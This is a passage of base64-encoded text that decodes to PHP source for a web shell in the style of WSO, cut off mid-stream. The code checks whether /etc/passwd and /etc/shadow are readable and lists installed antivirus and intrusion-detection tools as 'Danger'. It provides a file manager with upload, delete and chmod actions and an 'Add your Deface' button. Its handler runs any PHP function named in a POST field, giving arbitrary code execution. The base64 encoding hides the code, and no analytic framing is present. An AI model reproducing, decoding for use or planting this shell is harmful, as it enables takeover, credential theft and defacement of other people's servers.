MCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CnJldHVybiAkaTsKfQpmdW5jdGlvbiB2aWV3UGVybXNDb2xvcigkZikgeyAKaWYgKCFAaXNfcmVhZGFibGUoJGYpKQpyZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkKcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwplbHNlCnJldHVybiAnPGZvbnQgY29sb3I9IzAwQkIwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKJGRoPSBvcGVuZGlyKCRkaXIpOwp3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7CiRmaWxlc1tdID0gJGZpbGVuYW1lOwp9CnJldHVybiAkZmlsZXM7Cn0KfQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewpwcmludEhlYWRlcigpOwplY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewokdiA9IHRyaW0oJHYpOwppZigkdikgewplY2hvICc8c3Bhbj4nLiRuLic6IDwvc3Bhbj4nOwppZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkKZWNobyAkdi4nPGJyPic7CmVsc2UKZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKfQp9CnNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwpzaG93U2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10pPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7CnNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7CnNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwpzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwokdGVtcD1hcnJheSgpOwppZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQokdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpCiR0ZW1wW10gPSAiTVNTUUwiOwppZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkKJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKQokdGVtcFtdID0gIk9yYWNsZSI7CnNob3dTZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsKZWNobyAnPGJyPic7CmlmKCAkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsKJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwokZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOwpzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwpzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CnNob3dTZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7CmlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKZWNobyAnPGJyPic7CiR0ZW1wPWFycmF5KCk7CmZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQppZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQpzaG93U2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKJHRlbXA9YXJyYXkoKTsKZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30Kc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKJHRlbXA9YXJyYXkoKTsKZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAKaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30Kc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwplY2hvICc8YnIvPic7CnNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CnNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwpzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7Cn0KfSBlbHNlIHsKc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAKc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxleCgnbmV0IGFjY291bnRzJykpOyAKc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7Cn0KZWNobyAnPC9kaXY+JzsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsKcHJpbnRIZWFkZXIoKTsKZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CmlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddIT0nZGVmYWNlJykgewpzd2l0Y2goJF9QT1NUWydwMSddKSB7CmNhc2UgJ3VwbG9hZEZpbGUnOgppZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKYnJlYWs7CmJyZWFrOwpjYXNlICdta2Rpcic6CmlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOwpicmVhazsKY2FzZSAnZGVsZXRlJzoKZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CiRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiRkaD0gb3BlbmRpcigkcGF0aCk7CndoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CiRpdGVtID0gJHBhdGguJGl0ZW07CmlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQpjb250aW51ZTsKJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CmlmICgkdHlwZSA9PSAiZGlyIikKZGVsZXRlRGlyKCRpdGVtKTsKZWxzZQpAdW5saW5rKCRpdGVtKTsKfQpjbG9zZWRpcigkZGgpOwpybWRpcigkcGF0aCk7Cn0KaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewokZiA9IHVybGRlY29kZSgkZik7CmlmKGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KYnJlYWs7CmNhc2UgJ3Bhc3RlJzoKaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsKZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CmlmKGlzX2RpcigkYy4kcykpewpta2RpcigkZC4kcyk7CiRoID0gb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQppZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfQp9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewpAY29weSgkYy4kcywgJGQuJHMpOwp9Cn0KZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOwp9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgewpmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsKaWYoaXNfZGlyKCRjLiRzKSl7Cm1rZGlyKCRkLiRzKTsKJGggPSBvcGVuZGlyKCRjLiRzKTsKd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CmNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwp9Cn0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KfQpmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQpAcmVuYW1lKCRfU0VTU0lPTlsnY3dkJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7Cn0KdW5zZXQoJF9TRVNTSU9OWydmJ10pOwpicmVhazsKZGVmYXVsdDoKaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgKCgkX1BPU1RbJ3AxJ10gPT0gJ2NvcHknKXx8KCRfUE9TVFsncDEnXSA9PSAnbW92ZScpKSApIHsKJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107CiRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOwpmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQokX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOwokX1NFU1NJT05bJ2N3ZCddID0gQCRfUE9TVFsnYyddOwp9CmJyZWFrOwp9CmVjaG8gJzxzY3JpcHQ+ZG9jdW1lbnQubWYucDEudmFsdWU9IiI7ZG9jdW1lbnQubWYucDIudmFsdWU9IiI7PC9zY3JpcHQ+JzsKfQokZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwppZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHtlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnOyByZXR1cm47fQpnbG9iYWwgJHNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpCiRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7Cn0KZWNobyAnPHNjcmlwdD4KZnVuY3Rpb24gc2EoKSB7CmZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQppZihkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09IFwnY2hlY2tib3hcJykKZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7Cn0KPC9zY3JpcHQ+Cjx0YWJsZSB3aWR0aD1cJzEwMCVcJyBjbGFzcz1cJ21haW5cJyBjZWxsc3BhY2luZz1cJzBcJyBjZWxscGFkZGluZz1cJzJcJz4KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD4nOwplY2hvICI8dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKJGRpcnMgPSAkZmlsZXMgPSAkbGlua3MgPSBhcnJheSgpOwokbiA9IGNvdW50KCRkaXJDb250ZW50KTsKZm9yKCRpPTA7JGk8JG47JGkrKykgewokb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsKJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CiR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAogJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sCiAnbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLAogJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCiAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCik7CmlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQokZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQokbGlua3NbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycpKTsKZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpCiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKfQokR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CmZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsKaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCnJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKZWxzZQpyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwp9CnVzb3J0KCRmaWxlcywgImNtcCIpOwp1c29ydCgkZGlycywgImNtcCIpOwp1c29ydCgkbGlua3MsICJjbXAiKTsKJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRsaW5rcywgJGZpbGVzKTsKJGwgPSAwOwpmb3JlYWNoKCRmaWxlcyBhcyAkZikgewplY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyI+PGI+WyAnLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkuJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/dmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddCi4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7CiRsID0gJGw/MDoxOwp9CmVjaG8gJzx0cj48dGQgY29sc3Bhbj01Pgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVwnRmlsZXNNYW5cJz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CjxzZWxlY3QgbmFtZT1cJ3AxXCc+PG9wdGlvbiB2YWx1ZT1cJ2NvcHlcJz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ21vdmVcJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2RlbGV0ZVwnPkRlbGV0ZTwvb3B0aW9uPic7CmlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7ZWNobyAnPG9wdGlvbiB2YWx1ZT1cJ3Bhc3RlXCc+UGFzdGU8L29wdGlvbj4nOyB9CmVjaG8gJzwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiI+PC90ZD48dGQgY29sc3Bhbj0iMiIgYWxpZ249InJpZ2h0IiB3aWR0aD0iMSI+PGlucHV0IG5hbWU9ImRlZiIgaWQ9ImRlZiIgdmFsdWU9ImluZGV4LnBocCIgc2l6ZT0iMTAiLz4mbmJzcDs8aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidcJyxcJ2RlZmFjZVwnLGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZGVmXCcpLnZhbHVlKSIgdmFsdWU9IkFkZCB5b3VyIERlZmFjZSI+PC90ZD48L3RyPgo8L2Zvcm0+PC90YWJsZT48L2Rpdj4nOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewppZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQppZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQppZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CiRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKb2Jfc3RhcnQoKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCmVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CiR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwplY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwpleGl0Owp9CnByaW50SGVhZGVyKCk7CmVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwokc3RyaW5nVG9vbHMgPSBhcnJheSgKJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywKJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLAonVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCidGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKJ21kNSBoYXNoJyA9PiAnbWQ1JywKJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAonY3J5cHQnID0+ICdjcnlwdCcsCidDUkMzMicgPT4gJ2NyYzMyJywKJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCidIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLAonSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCidIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCidERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywKJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLAonQklOIHRvIEhFWCcgPT4gJ2JpbjJoZXgnLAonQklOIHRvIERFQycgPT4gJ2JpbmRlYycsCidTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAonU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywKJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAopOwppZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQokX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwplY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsKZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCmVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsKZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpb